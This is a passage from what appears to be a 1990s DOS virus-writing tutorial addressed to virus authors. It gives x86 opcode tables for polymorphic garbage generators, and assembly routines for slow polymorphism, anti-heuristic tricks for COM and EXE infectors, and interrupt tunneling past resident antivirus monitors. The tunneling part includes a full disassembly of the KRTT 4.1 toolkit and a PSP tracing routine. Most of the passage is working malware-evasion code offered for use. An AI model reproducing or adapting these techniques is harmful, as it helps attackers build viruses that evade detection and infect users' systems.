All these instructions are one-byters, so, they're really good for garbage generators, but caution with some instructions like STD and STI.

 CLI   FA 
STI  FB
CLD  FC
STD  FD
CLC  F8
STC  F9
CMC  F5
SAHF  9E
LAHF  9F

Logical instructions

 ⁄-------ø 
| XOR |
¿-------Ÿ

XOR AL,imm8  34 imm8
XOR AX,imm16  35 imm16
XOR reg8,regmem8  32 RegInfoByte
XOR reg16,regmem16  33 RegInfoByte
XOR regmem8,reg8  30 RegInfoByte
XOR regmem16,reg16  31 RegInfoByte
XOR regmem8,imm8  80 ^6 imm8
XOR regmem16,imm8  83 ^6 imm8
XOR regmem16,imm16  81 ^6 imm16

⁄------ø
| OR |
¿------Ÿ

OR AL,imm8  0C imm8
OR AX,imm16  0D imm16
OR reg8,regmem8  0A RegInfoByte
OR reg16,regmem16  0B RegInfoByte
OR regmem8,reg8  08 RegInfoByte
OR regmem16,reg16  09 RegInfoByte
OR regmem8,imm8  80 ^1 imm8
OR regmem16,imm8  83 ^1 imm8
OR regmem16,imm16  81 ^1 imm16

⁄-------ø
| AND |
¿-------Ÿ

AND AL,imm8  24 imm8
AND AX,imm16  25 imm16
AND reg8,regmem8  22 RegInfoByte
AND reg16,regmem16  23 RegInfoByte
AND regmem8,reg8  20 RegInfoByte
AND regmem16,reg16  21 RegInfoByte
AND regmem8,imm8  80 ^4 imm8
AND regmem16,imm8  83 ^4 imm8
AND regmem16,imm16  81 ^4 imm16

⁄-------ø
| NOT |
¿-------Ÿ

NOT regmem8  F6 ^2
NOT regmem16  F7 ^2

⁄-------ø
| NEG |
¿-------Ÿ

NEG regmem8  F6 ^3
NEG regmem16  F7 ^3

⁄--------ø
| TEST |
¿--------Ÿ

TEST AL,imm8  A8 imm8
TEST AL,imm16  A9 imm16
TEST regmem8,reg8  84 RegInfoByte
TEST regmem16,reg16  85 RegInfoByte
TEST regmem8,imm8  F6 ^0 imm8
TEST regmem16,imm16  F7 ^0 imm16

⁄-------ø
| CMP |
¿-------Ÿ

CMP AL,imm8  3C imm8
CMP AX,imm16  3D imm16
CMP reg8,regmem8  3A RegInfoByte
CMP reg16,regmem16  3B RegInfoByte
CMP regmem8,reg8  38 RegInfoByte
CMP regmem16,reg16  39 RegInfoByte
CMP regmem8,imm8  80 ^7 imm8
CMP regmem16,imm8  83 ^7 imm8
CMP regmem16,imm16  81 ^7 imm16

Arithmetic instructions

 ⁄-------ø 
| ADD |
¿-------Ÿ

ADD AL,imm8  04 imm8
ADD AX,imm16  05 imm16
ADD reg8,regmem8  02 RegInfoByte
ADD reg16,rm16  03 RegInfoByte
ADD regmem8,reg8  00 RegInfoByte
ADD regmem16,reg16  01 RegInfoByte
ADD regmem8,imm8  80 ^0 imm8
ADD regmem16,imm8  83 ^0 imm8
ADD regmem16,imm16  81 ^0 imm16

⁄-------ø
| SUB |
¿-------Ÿ

SUB AL,imm8  2C imm8
SUB AX,imm16  2D imm16
SUB reg8,regmem8  2A RegInfoByte
SUB reg16,regmem16  2B RegInfoByte
SUB regmem8,reg8  28 RegInfoByte
SUB regmem16,reg16  29 RegInfoByte
SUB regmem8,imm8  80 ^5 imm8
SUB regmem16,imm8  83 ^5 imm8
SUB regmem16,imm16  81 ^5 imm16

⁄-------ø
| ADC |
¿-------Ÿ

ADC AL,imm8  14 imm8
ADC AX,imm16  15 imm16
ADC reg8,regmem8  12 RegInfoByte
ADC reg16,regmem16  13 RegInfoByte
ADC regmem8,reg8  10 RegInfoByte
ADC regmem16,reg16  11 RegInfoByte
ADC regmem8,imm8  80 ^2 imm8
ADC regmem16,imm8  83 ^2 imm8
ADC regmem16,imm16  81 ^2 imm16

⁄-------ø
| SBB |
¿-------Ÿ

SBB AL,imm8  1C ib
SBB AX,imm16  1D iw
SBB reg8,regmem8  1A RegInfoByte
SBB reg16,regmem16  1B RegInfoByte
SBB regmem8,reg8  18 RegInfoByte
SBB regmem16,reg16  19 RegInfoByte
SBB regmem8,imm8  80 ^3 imm8
SBB regmem16,imm8  83 ^3 imm8
SBB regmem16,imm16  81 ^3 imm16

⁄-------ø
| INC |
¿-------Ÿ

INC reg16  40+RegWord
INC regmem8  FE ^0
INC regmem16  FF ^0

⁄-------ø
| DEC |
¿-------Ÿ

DEC reg16  48+RegWord
DEC regmem8  FE ^1
DEC regmem16  FF ^1

⁄-------ø
| MUL |
¿-------Ÿ

MUL regmem8  F6 ^4
MUL regmem16  F7 ^4

⁄-------ø
| DIV |
¿-------Ÿ

DIV regmem8  F6 ^6
DIV regmem16  F7 ^6

⁄--------ø
| IMUL |
¿--------Ÿ

IMUL regmem8  F6 ^5
IMUL regmem16  F7 ^5
IMUL reg16,regmem16,imm16  69 imm16
IMUL reg16,regmem16,imm8  6B imm8

⁄--------ø
| IDIV |
¿--------Ÿ

IDIV regmem8  F6 ^7
IDIV regmem16  F7 ^7

Shifting instructions

 ⁄-------ø 
| SHL |
¿-------Ÿ

SHL regmem8,1  D0 ^4
SHL regmem16,1  D1 ^4
SHL regmem8,CL  D2 ^4
SHL regmem16,CL  D3 ^4
SHL regmem8,imm8  C0 ^4 imm8
SHL regmem16,imm8  C1 ^4 imm8

⁄-------ø
| SHR |
¿-------Ÿ

SHR regmem8,1  D0 ^5
SHR regmem16,1  D1 ^5
SHR regmem8,CL  D2 ^5
SHR regmem16,CL  D3 ^5
SHR regmem8,imm8  C0 ^5 imm8
SHR regmem16,imm8  C1 ^5 imm8

⁄-------ø
| SAL |
¿-------Ÿ

SAL regmem8,1  D0 ^4
SAL regmem16,1  D1 ^4
SAL regmem8,CL  D2 ^4
SAL regmem16,CL  D3 ^4
SAL regmem8,imm8  C0 ^4 imm8
SAL regmem16,imm8  C1 ^4 imm8

⁄-------ø
| SAR |
¿-------Ÿ

SAR regmem8,1  D0 ^7
SAR regmem16,1  D1 ^7
SAR regmem8,CL  D2 ^7
SAR regmem16,CL  D3 ^7
SAR regmem8,imm8  C0 ^7 imm8
SAR regmem16,imm8  C1 ^7 imm8

⁄-------ø
| ROL |
¿-------Ÿ

ROL regmem8,1  D0 ^0
ROL regmem16,1  D1 ^0
ROL regmem8,CL  D2 ^0
ROL regmem16,CL  D3 ^0
ROL regmem8,imm8  C0 ^0 imm8
ROL regmem16,imm8  C1 ^0 imm8

⁄-------ø
| ROR |
¿-------Ÿ

ROR regmem8,1  D0 ^1
ROR regmem16,1  D1 ^1
ROR regmem8,CL  D2 ^1
ROR regmem16,CL  D3 ^1
ROR regmem8,imm8  C0 ^1 imm8
ROR regmem16,imm8  C1 ^1 imm8

⁄-------ø
| RCL |
¿-------Ÿ

RCL regmem8,1  D0 ^2
RCL regmem16,1  D1 ^2
RCL regmem8,CL  D2 ^2
RCL regmem16,CL  D3 ^2
RCL regmem8,imm8  C0 ^2 imm8
RCL regmem16,imm8  C1 ^2 imm8

⁄-------ø
| RCR |
¿-------Ÿ

RCR regmem8,1  D0 ^3
RCR regmem16,1  D1 ^3
RCR regmem8,CL  D2 ^3
RCR regmem16,CL  D3 ^3
RCR regmem8,imm8  C0 ^3 imm8
RCR regmem16,imm8  C1 ^3 imm8

Jumps, Calls and Rets

I must talk a little bit at this point about an interesting thing for you. The jump offsets are calculated from da byte next to the whole jump instruction, for example, if we've a E9 00 00 ( JUMP NEAR ) we're jumping directly to the next instruction, the instruction that is just after the jump. So, looking this, we can know that a JMP 0001 will jump over 1 byte after the jump. But... What happens if we want to jump downwards? Preety simple. If we make a JMP FFFF, we're jumping to the data, and it'll hang sure. We can use this formula, where the X is the final result, and X' help us to make our calculations.

X' = jump address - destination address + 2
X = NEG X'

 ⁄-----------------------ø 
| Unconditional Jumps |
¿-----------------------Ÿ

JMP sig16 ( SHORT )  E9 sig16
JMP sig32 ( FAR )  EA sig32
JMP sig8 ( NEAR )  EB sig8
JMP regmem16  FF ^4
JMP FAR mem16:16  FF ^5

⁄---------------------ø
| Conditional Jumps |
¿---------------------Ÿ

JO sig8  70 sig8
JNO sig8  71 sig8
JB sig8  72 sig8
JAE sig8  73 sig8
JZ sig8  74 sig8
JNZ sig8  75 sig8
JBE sig8  76 sig8
JA sig8  77 sig8
JS sig8  78 sig8
JNS sig8  79 sig8
JPE sig8  7A sig8
JPO sig8  7B sig8
JL sig8  7C sig8
JGE sig8  7D sig8
JLE sig8  7E sig8
JG sig8  7F sig8
JCXZ sig8  E3 sig8

⁄--------------ø
| Call stuff |
¿--------------Ÿ

CALL sig32  9A sig32
CALL sig16  E8 sig16
CALL regmem16  FF ^2
CALL FAR mem16:16  FF ^3

⁄-----------ø
| Returns |
¿-----------Ÿ

RETN  C3
RETF  CB
IRET  CF

⁄--------------ø
| Loop stuff |
¿--------------Ÿ

LOOPNE/LOOPNZ sig8  E0 cb
LOOPE/LOOPZ sig8  E1 cb
LOOP sig8  E2 cb

Miscellaneous

 ⁄---------ø 
| Loads |
¿---------Ÿ

LEA reg16,regmem16  8D RegInfoByte
LDS reg16,mem16:16  C4 RegInfoByte
LES reg16,mem16:16  C5 RegInfoByte

Jumps / Calls generation

This is one of the most important things to do if you want to do the code generated by your PER more real to lamer's eyes ;)

˛ Jumps:

The creation of jumps is very easy, and very useful for our needs. Try to avoid da do-nothing jumps, like JMP 0000, because if we put this kinda jumps in excess,an heuristic flag will probably flagged. Make instructions natural must be our goal. And... where have you seen any jump to the next opcode? :) In order to create jumps, you must be careful with the offset, because if you make it to low or too high, the computer will hang. You must do it custom-made. It's a good idea to make the jumps' offsets variables ( between 1 and 5 will be enough ), and then place junk instructions. Make a procedure for assure that your jumps will go to the right place. Remember: Imagination is our best weapon.

Let's see a very simple Jx ( conditional jump ) generator. It's easy.

 generate_jx: 
call random ; Our random procedure
and al,0Fh ; A number between 0..16
add al,70h ; Add 70 for get instructions
stosb ; Put AL in ES:DI
xor ax,ax ; Make AL = 00
stosb ; Make a zero-jump <g>
ret

This isn't the best solution, but... works! :)

˛ Calls:

A little bit harder than the jump construction. If we put calls as we put jumps the code will hang ( sure! ). This is coz when we're making a call, the offset is pushed onto the stack, and the ret will return to the offset next to the call. So, if we put a call directly, our code will be completly unuseful. There're two ways to avoid this. Let's explain the first one: We make the call to the offset, then we make a jump that completly avoid the call ( well, the call not... the FUCKING RET! ), we make the procedure code, place the RET, and that's all! It must look like this:

        [...] 
call shit -------ø
[...] -----------|--ø
jmp avoid_shit -|--|--ø
[...] | | |
shit: -----------Ÿ | |
[...] | |
ret ---------------Ÿ |
[...] |
avoid_shit: -----------------Ÿ
[...]

Maybe da second way seems more easy to your eyes. Well, i'm gonna explain it for your open mind :)

We must make a jump over da call, then generate the opcodes of the procedure generate the RET, and we can call the subroutine code now ( and more times )

Let's see:

        [...] 
jmp avoid_shit -ø
[...] |
shit: -----------|--ø
[...] | |
ret ------------|--|--ø
[...] | | |
avoid_shit: -----------Ÿ | |
[...] | |
call shit ----------Ÿ |
[...] -----------------Ÿ

Interrupt calls

This is VERY simple, believe me. We can call to this interrupts in our code everytime we want: they're do-nothing interrupts. Let's see a little list:

 INT 01h  CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS 
INT 08h  IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
INT 0Ah  IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
INT 0Bh  IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
INT 0Ch  IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
INT 0Dh  IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
INT 0Eh  IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
INT 0Fh  IRQ7 - PARALLEL PRINTER
INT 1Ch  TIME - SYSTEM TIMER TICK
INT 28h  DOS 2+ - DOS IDLE INTERRUPT
INT 2Bh  DOS 2+ - RESERVED
INT 2Ch  DOS 2+ - RESERVED
INT 2Dh  DOS 2+ - RESERVED
INT 70h  IRQ8 - CMOS REAL-TIME CLOCK
INT 71h  IRQ9 - REDIRECTED TO INT 0A BY BIOS
INT 72h  IRQ10 - RESERVED
INT 73h  IRQ11 - RESERVED
INT 74h  IRQ12 - POINTING DEVICE (PS)
INT 75h  IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
INT 76h  IRQ14 - HARD DISK CONTROLLER (AT and later)
INT 77h  IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)

These are the INTs you can call without any kinda problem. I recommend you to build a table with the number of the ints in order to make a procedure that generates da INT opcodes. HEY! I forgot! The INT OpCode is CD, followed by the interrupt number, that it's a byte.

Another very good choice is to make calls to the INT 21h/INT 10h/INT 16h with do-nothing functions. Let's see the INT 21h possible functions...

 AH=0Bh    Read entry state 
AH=0Dh  Flush buffers
AH=19h  Get current drive
AH=2Ah  Get current date
AH=2Ch  Get current time
AH=30h  Get dos version number
AH=4Dh  Get error code
AH=51h  Get active psp
AH=62h  Get active psp

AX=3300h  Get break-flag
AX=3700h  Get line-command separator
AX=5800h  Get mem concept
AX=5802h  Get umb insert

I think it is quite clear how to do the code. Generate a MOV AH/AX,value and an INT 21h isn't hard. Just do it! :)

Btw, Vecna gave me a kewl idea when the version 1.03 of this guide was published in 29A#3. He said me: you can use more usual function such as open, read, etc. because DX is fucked, and they will simply return an error :)

Random number generator

There's one of the most important this of your PER. The simplest way for obtain a random number is to call to port 40h,and see what it returns. Let's see some code:

 random: 
in ax,40h
in al,40h
ret

We can also use INT 1Ah, or another thing that we think that can return us different numbers each time. If we want a number in a determinated range, we can make use of the instruction AND. Let's see the simplest procedure for make a random number in range:

 random_in_range: 
push bx
xchg ax,bx
call random
and ax,bx
pop bx
ret

It will return a number between 0 and da marked in AX-1. An optimized way to do the random in range procedure is to use the division. Remember what the division does, paying attention to the remainder. When we do a division, the remainder can never be higher ( or equal ) to the divisor. So, the remainder can be between 0 and the divisor - 1. Let's see how will be a procedure by using division:

 random_in_range: 
push bx dx
xchg ax,bx
call random
xor dx,dx
div bx
xchg ax,dx
pop dx bx
ret

Preety simple, as you can see. The random number stuff will continue in the next part of this chapter, the slow polymorphism.

Slow polymorphism

If you know how this stuff fuck AVs, you'd think it's a very difficult technique, or something. No. The authors of the firsts polymorphic engines thought that the best way to fuck AV was to make the decryptors very variables each generation. It was a very good idea for the firsts PERs, but, the AVers discovered that infecting thousands of baits with a polymophic virus, they could see all the possible mutations, and then, add a simple scan string for their ShitWare ( aka AntiViruses ). But... what happens if we make the decryptors' mutation very slow? Then, da slow polymorphism was born. Yes, with this simple idea, that can seem to be a bullshit, we can make AVers go mad. The most important thing we must change in order to get slow polymorphism is da random number generator. By changing this, we have a slow mutation engine for our needs. We can improve it, but it'll work pretty good for ALL our needs. We need values that don't change fast, like month, day or something, and then play something with them ( if you want, of course ) ;)

 random_range: 
push bx cx dx
xchg ax,bx
mov ax,2C00h
int 21h
xchg ax,dx
xor ax,0FFFFh
xor dx,dx
div bx
xchg ax,dx
pop dx cx bx
ret

And, with a routine like this, your PER is now 100% slow polymorphic. I believe that the concept is quite clear.

Instead of this, you can test to add a counter that avoids mutations in a huge period of time, but i prefer the above technique for slow polymorphy.

Advanced polymorphy

Your steps must go to advanced polymorphism. You must try to generate realistic structures, like a program with calls to subroutines, interrupts, play with values already known, make comparisons followed by conditional jumps, and whatever you can imaginate. You must always improve the variability of your poly engine: if it's slow and very variable, AV will fuck off. Imagine da possibilities: you can decrypt your code from top to bottom and vice-versa use si, di, bx or whatever you want as count register, you can add a generator for long routines, such as little anti-debugging tricks ( neg sp/neg sp, not sp/not sp... ), make a mid-virus ( or mid-file ) decryptor, an INT 1 decryptor ( hell good trick! ), make do-nothing memory movements, use word operations at time as byte ones, combine them, substitute them...

Else, you can try with something already more advanced, like envolving polymorphism, and else. There are some interesting documents about this fact, like the Methyl's ( aka Owl[FS] ) ones.

Last words about polymorphism

But, as the real world is a shit, the AV scum will try to get all our possible decryptors by disassembling our preety slow polymorphic engine.

But, here comes the armouring for save our ass. We must heavily protect our PER with an encryption routine specially for it ( it must be a very ANTIDEBUGGING decryptor ). As they won't have enough time to disassemble the engine, they won't see all it can do :) You have a very good selection of ANTI-DEBUGGER techniques in the chapter with this name ( some chpts. above ) So, at this time, they will concentrate their efforts in the baits, and we must avoid the infection of this non-sense files. More of this in ANTI-BAIT chapter, some chapters below ;)

I want to see your PERs rocking the world! :)

Anti-Heuristics

The heuristics search for suspicious things at our code. Just avoid the use of things like "*.com" and so on... Well, i explain it better. Follow this points.

˛ Don't use wildcars like "*.com" or "*.exe":

This kinda things are only used in runtime <g> viruses, but if you really need it... You can put something like "*.rom" instead "*.com" and then something like this:

        mov byte ptr [bp+comfile+2],"c"

Remember: before writing virus body, restore the r of "*.rom"...

        mov byte ptr [bp+comfile+2],"r"

or you've made a null effort.

In this example we assume BP as delta offset, comfile as db "*.rom",0 and the virus is a direct action infector <g>

˛ Don't use obvious routines:

We're talking about the classic INT 21h AH = 40h, INT 21h AX = 4301h...
You can made a lot of things... let's play with AX = 4301h

I've read this in somewhere i don't remember now ( Maybe Wizard's tutorial in spanish :-? )

        push 4301h 
pop ax

But there's a problem... Compile it and then disassembly it. Let's see some TASM generated shit :) Of course, this only happens if da selected processor in the source is worse than a 386.

        push ax bp 
mov bp,sp
mov word ptr [bp+02],4301h
pop bp ax

This is the disassembled code of push 4301h and pop ax. It takes 11 bytes!!!
I think it's a waste of code. Better use things like:

        mov ax,4300h 
inc ax

or better:

        mov ax,0043h 
inc ah
xchg ah,al

and also:

        mov bx,4300h 
xor ax,ax
xchg ax,bx

˛ Be paranoid with all the routines of your polymorphic engine:

Be careful of the use of a lot of garbage, like one byte instructions ( cli, sti, lahf, nop, std, cld, cmc... ). The AV can show a flag. The heuristic engine will try to decrypt yer code. I recommend you to put an antidebugging routine for stop it. Take a look to ARMOURING chapter in this document.

˛ Don't use strange calls for your residence check:

If you use some like AX = DEADh for your residence check, a flag will be triggered. Use checks below 6E00h. There're a lot of functions below 6E00h unused. Take a look to Ralph Brown's interrupt list for more info.

˛ Don't use rare interrupts:

If you use interrupts above 80, a flag will be triggered.

˛ Optimize your code as much as possible:

Look the tutorials that talk about this ( like darkman's in VLAD#2, or the one in this same document )

˛ Try to be original in the Î offset obtaining:

For obtain delta offset don't use:

        call delta 
delta:
pop si
sub si,offset delta

This is used by a lot of viruses, and a flag will be triggered sure. ( In this example, delta offset will be in SI )

There are a lot of alternative ( yeah! ) ways to get the delta offset:

        mov bx,old_size_of_infected_file 
jmp bx

( You can use another registers than BX, of course ;) )

another one:

        call delta 
delta:
mov si,sp
mov bp,word ptr ss:[si]
sub bp,offset delta

( In this, BP will be Delta offset )
and another one:

        mov bp,sp 
int 03h
delta:
mov bp,ss:[bp-6]
sub bp,offset delta

˛ Make your encryption routine very optimized. If you use some shit, the heuristic will catch the virus, and all our efforts will go shit.

˛ Make your TSR routines very strange:

Try to avoid the compare with 0:

        cmp byte ptr [0],"Z"

˛ In your int 21 handlers avoid to use the " real " cmps, just try with something like this ( examples with 4bh ):

        xchg ah,al 
cmp al,4Bh
[...]
xchg ah,al

or make a xor with the value.

        xor ax,0FFFFh 
cmp ah,(4Bh xor 0FFh)
xor ax,0FFFFh

or this two at time ;)

        xor ax,0FFFFh 
xchg ah,al
cmp al,(4Bh xor 0FFh)
xchg ah,al
xor ax,0FFFFh

REMEMBER THIS: After the call to the real int 21 return all the values as they are before making this routines

˛ The heuristic will search with compares with "MZ" or "ZM" like

        cmp ax,"ZM" 
cmp ax,"MZ"

You can try with something like this:

        mov al,byte ptr [header] 
add al,byte ptr [header+1]
cmp al,"M"+"Z"

This is a very useful routine: You are checking at the same time for MZ and ZM. Assumed things... Header contains at least the 2 firsts bytes of the header. Or you can make it, but in lower case, with a simple or ax,2020h ( AX is the register containing the string ), and compare with something like:

        cmp ax,"zm" 
cmp ax,"mz"

˛ Try to make your virus as rare as you can :)

˛ Scan a lot of times your code with a lot of AVs to see if it's detected

˛ Change sightly the routines for restore the COM and EXE hosts. Let's see now how to make an anti-heuristic restore for COM files:

        mov     di,101h                 ; This shit will fool AV 
dec di
push di ; DI=100h :)
lea si,[bp+offset OldBytes] ; Restore 3 bytes
movsw ; ( Change it for your needs )
movsb
ret ; Jump to 100h ;)

oldbytes db CDh,20h,00

And now let's see how to fuck heuristics when EXE restoring:

        mov     bx,bp                   ; Use BX as delta offset ;) 
mov ax,ds
add ax,0010h
add word ptr cs:[bx+@@CS],ax
add ax,cs:[bx+@@SP]
cli
mov ss,ax
mov sp,cs:[bx+@@SS]
sti

db 0EAh ; JUMP FAR

cs_ip equ this dword
@@IP dw 0000h ; In 1st gen, put here the offset to
; a MOV AX,4C00h/INT 21h
@@CS dw 0000h
ss_sp equ this dword
@@SS dw 0000h
@@SP dw 0000h

Last things

The huge fail some heuristics have ( like TBSCAN ) are that they don't search for the values of the registers. We can exploit this thing. Just think about all da possibilities to make a mov ax,4301h or a cmp ah,4Bh... All is in yer hands...

Tunneling

We call tunneling to all the attemps for obtain the original vectors of any interrupt, that it's about all times da INT 21h. Well, all attempts can't be called tunneling ( for example, the backdoors ), but we'll talk about them in this article tho.

Tunneling was developed for avoid the TSR watchdogs. This kinda anti-virus are ununderstandable ( whatta word! :) ) for da normal user, coz they notify the attempts to hook interrupts, open executables, and all the stuff a virus usually do. This methods are really hard to fool with stuff like the show before ( anti-heuristics ), because they don't search for bits, they only hook and control the important interrupts ( 21h, 13h... ).

The most populars TSR watchdogs are the Flintstones' VSAFE, VSHIELD... Our objective is to get the original vectors but... how can do it? You have a lot of ways for choose.

Tracing

This is probably one of the most used ways, but it's clearly unsafe. Yes, this type of tunneling is very fragile, and you will know why if you pay attention to the following lines :)

There is a flag, called Trap Flag ( usually abbreviated as TF ), used for put the processor in single-stepping mode if it' s activated. The single-stepping mode is what debuggers use for execute the code instruction by instruction, and we can use it for our needs, of course :)

Every time an instruction is executed, and da TF is activated, the INT 1 will be called, so this is our time :) But there isn't an instruction for activate it, so we must play with the flags. Let's see how we can activate the TF:

        pushf                           ; Push flags to stack 
pop ax ; And put them into AX for play
or ax, 100h ; We activate the TF at this point
push ax ; We must push AX...
popf ; for restore our preety flags :)

With this simple code you have activated the trap flag. I forgot to put the flags, so here you have:

 Position   0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00 
               
Flags  -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF

The flags are in a 16 bit register, as you can see. Here you have the list of flags, and its meanings:

  • CF : Carry Flag -  Indicates an arithmetic carry
  • PF : Parity Flag -  Indicates an even number of 1 bits
  • AF : Auxilary Flag -  Indicates adjustment needed in BCD numbers
  • ZF : Zero Flag -  Indicates a zero result, or equal comparison
  • SF : Sign Flag -  Indicates negative result/comparison
  • TF : Trap Flag -  Controls Single Step operation
  • IF : Interrupt Flag - Controls whether interrupts are enabled
  • DF : Direction Flag - Controls increment direction on string regs.
  • OF : Overflow Flag - Indicates signed arithmetic overflow

Let's remember some things about the interrupts. Every time we call an INT at the stack are 6 bytes: the flags and the CS:IP. You must remember this, because we must to call to the INT 21h, and then trace its code. If after da call the CS ( in the stack ) is equal to the one that the DOS has given to us when we've requested for interrupt vectors, the INT is the good one. The simples routine for make tunneling could be like this one:

 int01handler: 
push bp
mov bp, sp
push dx
mov dx, word ptr cs:[dossegment]
cmp [bp+6], dx
jz found
pop dx
pop bp
iret
found:
mov dx, [bp+6]
mov word ptr cs:[int21_seg], dx
mov dx, [bp+4]
mov word ptr cs:[int21_off], dx
pop dx
pop bp
add sp, 6
[...]

But this kinda tunneling, as i said at the beginning of the explanation, has a lot of weak points. We aren't protected to POPF, PUSHF, CLI, and a TF deactivation, because we're really EXECUTING the code.
If the AV redirected the INT 21h to another INT, we're fucked again. As you can see, the tracing isn't safe.

Well, we can solve some problems by checking for some instructions, as PUSHF and POPF, for don't let lamerz to deactivate the TF. Anyways, the tracing ain't the best choice...

Byte to Byte

The most popular ( the only one ) source is the Kîhntark Recursive Tunneling Toolkit ( aka KRTT ). The method it uses is to make comparisons to all the opcodes in the int handler, in order to see if it's a CALL, CALL FAR, JUMP FAR, and JUM OFF:SEG, and then get this value as INT 21h. Let's see the complete disassembly of the file KRTT41.OBJ of the KRTT41 package, that is main center of the toolkit.

;---[ CUT HERE ]------------------------------------------------------------- 
; Kîhntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KîhntarK
; Disassembly by Billy Belcebu/DDT
;
; INPUT:
;  BP : 01 Searches for INT 2Ah handler
;  BP : 02 Searches for INT 13h handler
;  BP : another value Searches for INT 21h handler
; OUTPUT:
;  AH : 00 Not found
;  AH : 01 Found!
;  AH : 02 Int 21h / 2Ah / 13h Not Hooked
;  AH : 03 DOS internal interrupts are hooked
; If found:
;  DX DOS INT 21h / 2Ah / 13h SEGMENT
;  DI INT 21h / 2Ah / 13h OFFSET
;  AL RECURSION DEPT
; DESTROYED:
;  AX,BX,CX,DX,DI,BP,ES
;
; Assemble:
; TASM KRTT41.ASM
; TLINK <virus name> KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; NOTE: It's the first time i try with a disasm of something, so if i made a
; _HUGE_ mistake, notify me :) This ain't my job...

.model tiny
.code
public tunnel

tunnel:
cli ; Disable interrupts for tunneling
xor ax,ax
mov es,ax ; Make ES = 0 for get IVT
xor di,di
mov dx,es:[00AEh] ; Checks for assure tunneling
mov cx,es:[00A2h] ; INT 26h =! INT 28h
cmp dx,cx
jz check
mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch
cmp dx,cx
jz check
mov ah,03 ; Checks failed : DOS ints are hooked
ret
check:
cmp bp,01h ; BP=1 Hook INT 2Ah
jz int2A
cmp bp,02h ; BP=2 Hook INT 13h
jz int13
int21:
mov bx,es:[0084h] ; BP=Other Hook INT 21h
mov es,es:[0086h]
jmp go4it
int13:
mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to
mov es,es:[004Eh] ; ES:BX
mov bp,es
mov dx,0070h
cmp bp,dx
jz nothooked
jmp letstunnelit
int2A:
mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to
mov es,es:[00AAh] ; ES:BX
go4it:
mov bp,es
cmp dx,bp
jnz letstunnelit
nothooked:
xchg bx,di
mov ah,02h ; INT not hooked *yeah* ;)
ret
letstunnelit:
call main_body ; Go and tunnel it
sti
ret
main_body:
push es
push bx
cmp al,07h ; Check for recursion
jz exit
cmp ah,01h ; Found ?
jz exit
inc al
mov cx,0FFFAh
sub cx,bx
main_loop:
push bx
cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ?
jz callsig16
cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ?
jz far_stuff
cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ?
jz far_stuff
cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ? :P
jnz jmpfar
cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
jnz jmpfar
cmp byte ptr es:[bx+02],01Eh ; PUSH DS ?
jz far_stuff2
cmp byte ptr es:[bx+02],02Eh ; CS ? ( again )
jnz jmpfar
far_stuff2:
mov bp,es:[bx+03]
dec bp
xchg bx,bp
jmp far_stuff
jmpfar:
pop bx
cmp ah,01h ; Found ?
jz exit
cmp al,07h ; Check for recursion
jz exit
inc bx
loop main_loop ; And loop it
callsig16:
pop bx
add bx,03h
loop main_loop
exit:
pop bx
pop es
ret
far_stuff:
pop bp
add bp,04h
push bp
cmp es:[bx+03],dx
jz found
cmp word ptr es:[bx+03],00h
jz jmpfar
push es
pop bp
cmp es:[bx+03],bp
jz jmpfar
mov bp,bx
mov bx,es:[bx+01] ; Where it points
mov es,es:[bp+03]
call main_body
jmp jmpfar
found:
mov di,es:[bx+01]
mov ah,01 ; INT 21 found
jmp jmpfar
end tunnel
;---[ CUT HERE ]-------------------------------------------------------------

I you want the full package, search for it. It's very easy to find. But the KRTT isn't safe. " FUCK! " you can think. The tunneling seems to be a very unsafe and fragile technique. This happens only in this old techniques. The KRTT will suck if the control is returned by another instruction that isn't da four implemented. It's very easy to call INT 21h with a conditional jump or a RETF, and this will fuck us. And this technique MUST be recursive, due its nature.

PSP tracing

If you remember the VERY important structure that was PSP, and you see the description of this same document about the offset 0005, you will think... " What the hell is this of the FAR CALL to the INT 21 ? ". This offset of da PSP is quite obsolete, it's only preserved for compatibility with very old programs. But it contains very interesting data, like INT 21h dispatcher. The INT 21h dispatcher ain't da INT 21h handler, don't forget it. As Satan's Little Helper said, da offset PSP:6 can point directly to the dispatcher, or point indirectly, that requires some playing with the double nop call to the first one.

The below routine is from VLAD#3 ( whatta good group! ), an article written by Satan's Little Helper, that shown the way for get INT 21h address by using PSP.

;---[ CUT HERE ]------------------------------------------------------------- 
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
;  DS PSP segment
; OUTPUT:
;  DS:BX INT 21h address
;  CF 0
; if tunnel failed:
;  DS:BX 0000:0000
;  CF 1

psp_trace:
lds bx,ds:[0006h] ; a pointer to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ; JMP SEG:OFF ?
jnz check_dispatch
lds bx,ds:[bx+1] ; point to the SEGMENT:OFFSET
cmp word ptr ds:[bx],9090h
jnz trace_next
sub bx,32h ; 32h byte offset from dispatch
; handler
cmp word ptr ds:[bx],9090h ; If all is OK, INT 21h has this
jnz check_dispatch ; signature ( 2 NOPs )
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ; PUSH DS, CS: ( prefix )
jnz bad_exit
add bx,25h
cmp word ptr ds:[bx],80FAh ; CLI, PUSH AX
jz good_search
bad_exit:
stc
ret
;---[ CUT HERE ]-------------------------------------------------------------

Pretty simple and effective. Test it! And, with the skeleton of the PSP tracing we can use another method, the INT 30h backdoor.
